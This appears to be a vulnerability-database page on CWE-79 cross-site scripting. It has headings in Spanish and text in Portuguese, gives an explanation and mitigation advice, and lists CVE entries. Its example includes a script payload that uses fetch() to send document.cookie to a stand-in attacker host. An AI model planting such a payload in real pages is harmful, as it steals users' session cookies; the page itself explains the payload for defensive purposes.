Fallos del tipo CWE-79

29.055 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-42478HIGHCross-Site Scripting (XSS) vulnerability in SAP BusinessObjects Business Intelligence PlatformEPSS 0.6%CVE-2022-3415MEDIUMChat Bubble < 2.3 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-6033HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.6%CVE-2023-3381LOWSourceCodester Online School Fees System GET Parameter datatable.php cross site scriptingEPSS 0.6%CVE-2023-1042LOWSourceCodester Online Pet Shop We App update_status.php cross site scriptingEPSS 0.6%CVE-2021-36871MEDIUMWordPress WP Google Maps Pro premium plugin <= 8.1.11 - Multiple Authenticated Persistent XSS vulnerabilitiesEPSS 0.6%CVE-2023-2922LOWSourceCodester Comment System GET Parameter index.php cross site scriptingEPSS 0.6%CVE-2024-3068MEDIUMCustom Field Suite <= 2.6.5 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-5026LOWTongda OA cross site scriptingEPSS 0.6%CVE-2024-0384MEDIUMWP Recipe Maker <= 9.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Recipe NotesEPSS 0.6%CVE-2023-1354LOWSourceCodester Design and Implementation of Covid-19 Directory on Vaccination System register.php cross site scriptingEPSS 0.6%CVE-2022-4957LOWlibrespeed speedtest stats.php cross site scriptingEPSS 0.6%CVE-2023-0119MEDIUMForeman: stored cross-site scripting in host tabEPSS 0.6%CVE-2021-23209MEDIUMWordPress AMP for WP – Accelerated Mobile Pages plugin <= 1.0.77.32 - Multiple Auth. Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.6%CVE-2022-36350MEDIUMStored cross-site scripting vulnerability in PukiWiki versions 1.3.1 to 1.5.3 allows a remote attacker to inject an arbitrary script via unsEPSS 0.6%CVE-2023-0810HIGHCross-site Scripting (XSS) - Stored in btcpayserver/btcpayserverEPSS 0.6%CVE-2024-0504LOWcode-projects Simple Online Hotel Reservation System Make a Reservation Page add_reserve.php cross site scriptingEPSS 0.6%CVE-2024-22492MEDIUMA stored XSS vulnerability exists in JFinalcms 5.0.0 via the /gusetbook/save contact parameter, which allows remote attackers to inject arbiEPSS 0.6%CVE-2026-8391MEDIUMOther issue in the JavaScript Engine componentEPSS 0.6%CVE-2021-23150MEDIUMWordPress AMP for WP – Accelerated Mobile Pages plugin <= 1.0.77.31 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%